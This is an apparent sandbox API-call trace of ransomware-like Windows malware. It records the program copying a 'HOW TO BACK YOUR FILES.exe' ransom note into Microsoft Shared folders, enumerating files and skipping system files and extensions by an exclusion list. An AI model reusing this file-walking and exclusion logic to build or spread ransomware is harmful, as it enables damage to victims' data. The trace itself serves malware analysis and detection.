	[0077.189] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA"
	[0077.189] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.189] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.196] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4613a610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.196] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.196] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.196] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4613a610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.196] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.196] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.196] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.196] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.196] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4613a610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.196] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.196] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.196] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.197] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.197] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.197] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.197] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.197] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*") returned 58
	[0077.197] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.197] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.197] lstrlenW (lpString="Apollon865") returned 10
	[0077.197] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.197] lstrlenW (lpString=".dll") returned 4
	[0077.197] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.197] lstrlenW (lpString=".lnk") returned 4
	[0077.197] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.197] lstrlenW (lpString=".ini") returned 4
	[0077.197] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.197] lstrlenW (lpString=".sys") returned 4
	[0077.197] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.197] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.197] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Help", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help"
	[0077.197] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afdc8 | out: hHeap=0x580000) returned 1
	[0077.197] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0077.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned 51
	[0077.197] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help"
	[0077.197] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.197] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.204] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46160770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46160770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.204] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.204] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.204] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.204] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46160770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46160770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.205] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.205] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.205] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.205] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.205] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46160770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46160770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.205] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.205] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="Apollon865.txt.exe") returned 1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2=".") returned 1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="..") returned 1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="windows") returned -1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="bootmgr") returned 1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="temp") returned -1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="pagefile.sys") returned -1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="boot") returned 1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="ids.txt") returned -1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="ntuser.dat") returned -1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="perflogs") returned -1
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2="MSBuild") returned -1
	[0077.205] lstrlenW (lpString="hxds.dll") returned 8
	[0077.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*") returned 53
	[0077.205] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="hxds.dll" | out: lpString1="hxds.dll") returned="hxds.dll"
	[0077.205] lstrlenW (lpString="hxds.dll") returned 8
	[0077.205] lstrlenW (lpString="Apollon865") returned 10
	[0077.205] lstrlenW (lpString=".dll") returned 4
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2=".dll") returned 1
	[0077.205] lstrlenW (lpString=".lnk") returned 4
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2=".lnk") returned 1
	[0077.205] lstrlenW (lpString=".ini") returned 4
	[0077.205] lstrcmpiW (lpString1="hxds.dll", lpString2=".ini") returned 1
	[0077.205] lstrlenW (lpString=".sys") returned 4
	[0077.206] lstrcmpiW (lpString1="hxds.dll", lpString2=".sys") returned 1
	[0077.206] lstrlenW (lpString="hxds.dll") returned 8
	[0077.206] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="ITIRCL55.DLL" | out: lpString1="ITIRCL55.DLL") returned="ITIRCL55.DLL"
	[0077.206] lstrlenW (lpString="ITIRCL55.DLL") returned 12
	[0077.206] lstrlenW (lpString="Apollon865") returned 10
	[0077.206] lstrcmpiW (lpString1="IRCL55.DLL", lpString2="Apollon865") returned 1
	[0077.206] lstrlenW (lpString=".dll") returned 4
	[0077.206] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".dll") returned 1
	[0077.206] lstrlenW (lpString=".lnk") returned 4
	[0077.206] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".lnk") returned 1
	[0077.206] lstrlenW (lpString=".ini") returned 4
	[0077.206] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".ini") returned 1
	[0077.206] lstrlenW (lpString=".sys") returned 4
	[0077.206] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".sys") returned 1
	[0077.206] lstrlenW (lpString="ITIRCL55.DLL") returned 12
	[0077.206] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="msitss55.dll" | out: lpString1="msitss55.dll") returned="msitss55.dll"
	[0077.206] lstrlenW (lpString="msitss55.dll") returned 12
	[0077.206] lstrlenW (lpString="Apollon865") returned 10
	[0077.206] lstrcmpiW (lpString1="itss55.dll", lpString2="Apollon865") returned 1
	[0077.206] lstrlenW (lpString=".dll") returned 4
	[0077.206] lstrcmpiW (lpString1="msitss55.dll", lpString2=".dll") returned 1
	[0077.206] lstrlenW (lpString=".lnk") returned 4
	[0077.206] lstrcmpiW (lpString1="msitss55.dll", lpString2=".lnk") returned 1
	[0077.206] lstrlenW (lpString=".ini") returned 4
	[0077.206] lstrcmpiW (lpString1="msitss55.dll", lpString2=".ini") returned 1
	[0077.206] lstrlenW (lpString=".sys") returned 4
	[0077.206] lstrcmpiW (lpString1="msitss55.dll", lpString2=".sys") returned 1
	[0077.206] lstrlenW (lpString="msitss55.dll") returned 12
	[0077.207] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT"
	[0077.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0077.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0077.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT") returned 54
	[0077.207] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT"
	[0077.207] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.207] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.215] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x461868d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x461868d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.215] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.215] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.215] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.215] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x461868d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x461868d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.216] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.216] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.216] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.216] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.216] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CGMIMP32.CFG" | out: lpString1="CGMIMP32.CFG") returned="CGMIMP32.CFG"
	[0077.216] lstrlenW (lpString="CGMIMP32.CFG") returned 12
	[0077.216] lstrlenW (lpString="Apollon865") returned 10
	[0077.216] lstrcmpiW (lpString1="MIMP32.CFG", lpString2="Apollon865") returned 1
	[0077.216] lstrlenW (lpString=".dll") returned 4
	[0077.216] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".dll") returned 1
	[0077.216] lstrlenW (lpString=".lnk") returned 4
	[0077.216] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".lnk") returned 1
	[0077.216] lstrlenW (lpString=".ini") returned 4
	[0077.216] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".ini") returned 1
	[0077.216] lstrlenW (lpString=".sys") returned 4
	[0077.216] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".sys") returned 1
	[0077.216] lstrlenW (lpString="CGMIMP32.CFG") returned 12
	[0077.216] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CGMIMP32.FLT" | out: lpString1="CGMIMP32.FLT") returned="CGMIMP32.FLT"
	[0077.216] lstrlenW (lpString="CGMIMP32.FLT") returned 12
	[0077.216] lstrlenW (lpString="Apollon865") returned 10
	[0077.216] lstrcmpiW (lpString1="MIMP32.FLT", lpString2="Apollon865") returned 1
	[0077.216] lstrlenW (lpString=".dll") returned 4
	[0077.216] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".dll") returned 1
	[0077.216] lstrlenW (lpString=".lnk") returned 4
	[0077.216] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".lnk") returned 1
	[0077.216] lstrlenW (lpString=".ini") returned 4
	[0077.216] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".ini") returned 1
	[0077.216] lstrlenW (lpString=".sys") returned 4
	[0077.216] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".sys") returned 1
	[0077.217] lstrlenW (lpString="CGMIMP32.FLT") returned 12
	[0077.217] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CGMIMP32.FNT" | out: lpString1="CGMIMP32.FNT") returned="CGMIMP32.FNT"
	[0077.217] lstrlenW (lpString="CGMIMP32.FNT") returned 12
	[0077.217] lstrlenW (lpString="Apollon865") returned 10
	[0077.217] lstrcmpiW (lpString1="MIMP32.FNT", lpString2="Apollon865") returned 1
	[0077.217] lstrlenW (lpString=".dll") returned 4
	[0077.217] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".dll") returned 1
	[0077.217] lstrlenW (lpString=".lnk") returned 4
	[0077.217] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".lnk") returned 1
	[0077.217] lstrlenW (lpString=".ini") returned 4
	[0077.217] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".ini") returned 1
	[0077.217] lstrlenW (lpString=".sys") returned 4
	[0077.217] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".sys") returned 1
	[0077.217] lstrlenW (lpString="CGMIMP32.FNT") returned 12
	[0077.217] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="EPSIMP32.FLT" | out: lpString1="EPSIMP32.FLT") returned="EPSIMP32.FLT"
	[0077.217] lstrlenW (lpString="EPSIMP32.FLT") returned 12
	[0077.217] lstrlenW (lpString="Apollon865") returned 10
	[0077.217] lstrcmpiW (lpString1="SIMP32.FLT", lpString2="Apollon865") returned 1
	[0077.217] lstrlenW (lpString=".dll") returned 4
	[0077.217] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".dll") returned 1
	[0077.217] lstrlenW (lpString=".lnk") returned 4
	[0077.217] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".lnk") returned 1
	[0077.217] lstrlenW (lpString=".ini") returned 4
	[0077.217] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".ini") returned 1
	[0077.217] lstrlenW (lpString=".sys") returned 4
	[0077.217] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".sys") returned 1
	[0077.217] lstrlenW (lpString="EPSIMP32.FLT") returned 12
	[0077.218] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="GIFIMP32.FLT" | out: lpString1="GIFIMP32.FLT") returned="GIFIMP32.FLT"
	[0077.218] lstrlenW (lpString="GIFIMP32.FLT") returned 12
	[0077.218] lstrlenW (lpString="Apollon865") returned 10
	[0077.218] lstrcmpiW (lpString1="FIMP32.FLT", lpString2="Apollon865") returned 1
	[0077.218] lstrlenW (lpString=".dll") returned 4
	[0077.218] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".dll") returned 1
	[0077.218] lstrlenW (lpString=".lnk") returned 4
	[0077.218] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".lnk") returned 1
	[0077.218] lstrlenW (lpString=".ini") returned 4
	[0077.218] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".ini") returned 1
	[0077.218] lstrlenW (lpString=".sys") returned 4
	[0077.218] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".sys") returned 1
	[0077.218] lstrlenW (lpString="GIFIMP32.FLT") returned 12
	[0077.218] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="JPEGIM32.FLT" | out: lpString1="JPEGIM32.FLT") returned="JPEGIM32.FLT"
	[0077.218] lstrlenW (lpString="JPEGIM32.FLT") returned 12
	[0077.218] lstrlenW (lpString="Apollon865") returned 10
	[0077.218] lstrcmpiW (lpString1="EGIM32.FLT", lpString2="Apollon865") returned 1
	[0077.218] lstrlenW (lpString=".dll") returned 4
	[0077.218] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".dll") returned 1
	[0077.218] lstrlenW (lpString=".lnk") returned 4
	[0077.218] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".lnk") returned 1
	[0077.218] lstrlenW (lpString=".ini") returned 4
	[0077.218] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".ini") returned 1
	[0077.218] lstrlenW (lpString=".sys") returned 4
	[0077.218] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".sys") returned 1
	[0077.218] lstrlenW (lpString="JPEGIM32.FLT") returned 12
	[0077.218] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MS.CGM" | out: lpString1="MS.CGM") returned="MS.CGM"
	[0077.218] lstrlenW (lpString="MS.CGM") returned 6
	[0077.218] lstrlenW (lpString="Apollon865") returned 10
	[0077.218] lstrlenW (lpString=".dll") returned 4
	[0077.218] lstrcmpiW (lpString1="MS.CGM", lpString2=".dll") returned 1
	[0077.219] lstrlenW (lpString=".lnk") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.CGM", lpString2=".lnk") returned 1
	[0077.219] lstrlenW (lpString=".ini") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.CGM", lpString2=".ini") returned 1
	[0077.219] lstrlenW (lpString=".sys") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.CGM", lpString2=".sys") returned 1
	[0077.219] lstrlenW (lpString="MS.CGM") returned 6
	[0077.219] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MS.EPS" | out: lpString1="MS.EPS") returned="MS.EPS"
	[0077.219] lstrlenW (lpString="MS.EPS") returned 6
	[0077.219] lstrlenW (lpString="Apollon865") returned 10
	[0077.219] lstrlenW (lpString=".dll") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.EPS", lpString2=".dll") returned 1
	[0077.219] lstrlenW (lpString=".lnk") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.EPS", lpString2=".lnk") returned 1
	[0077.219] lstrlenW (lpString=".ini") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.EPS", lpString2=".ini") returned 1
	[0077.219] lstrlenW (lpString=".sys") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.EPS", lpString2=".sys") returned 1
	[0077.219] lstrlenW (lpString="MS.EPS") returned 6
	[0077.219] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MS.GIF" | out: lpString1="MS.GIF") returned="MS.GIF"
	[0077.219] lstrlenW (lpString="MS.GIF") returned 6
	[0077.219] lstrlenW (lpString="Apollon865") returned 10
	[0077.219] lstrlenW (lpString=".dll") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.GIF", lpString2=".dll") returned 1
	[0077.219] lstrlenW (lpString=".lnk") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.GIF", lpString2=".lnk") returned 1
	[0077.219] lstrlenW (lpString=".ini") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.GIF", lpString2=".ini") returned 1
	[0077.219] lstrlenW (lpString=".sys") returned 4
	[0077.219] lstrcmpiW (lpString1="MS.GIF", lpString2=".sys") returned 1
	[0077.219] lstrlenW (lpString="MS.GIF") returned 6
	[0077.220] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MS.JPG" | out: lpString1="MS.JPG") returned="MS.JPG"
	[0077.220] lstrlenW (lpString="MS.JPG") returned 6
	[0077.220] lstrlenW (lpString="Apollon865") returned 10
	[0077.220] lstrlenW (lpString=".dll") returned 4
	[0077.220] lstrcmpiW (lpString1="MS.JPG", lpString2=".dll") returned 1
	[0077.220] lstrlenW (lpString=".lnk") returned 4
	[0077.220] lstrcmpiW (lpString1="MS.JPG", lpString2=".lnk") returned 1
	[0077.220] lstrlenW (lpString=".ini") returned 4
	[0077.220] lstrcmpiW (lpString1="MS.JPG", lpString2=".ini") returned 1
	[0077.220] lstrlenW (lpString=".sys") returned 4
	[0077.220] lstrcmpiW (lpString1="MS.JPG", lpString2=".sys") returned 1
	[0077.220] lstrlenW (lpString="MS.JPG") returned 6
	[0077.220] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MS.PNG" | out: lpString1="MS.PNG") returned="MS.PNG"
	[0077.220] lstrlenW (lpString="MS.PNG") returned 6
	[0077.220] lstrlenW (lpString="Apollon865") returned 10
	[0077.220] lstrlenW (lpString=".dll") returned 4
	[0077.220] lstrcmpiW (lpString1="MS.PNG", lpString2=".dll") returned 1
	[0077.220] lstrlenW (lpString=".lnk") returned 4
	[0077.220] lstrcmpiW (lpString1="MS.PNG", lpString2=".lnk") returned 1
	[0077.220] lstrlenW (lpString=".ini") returned 4
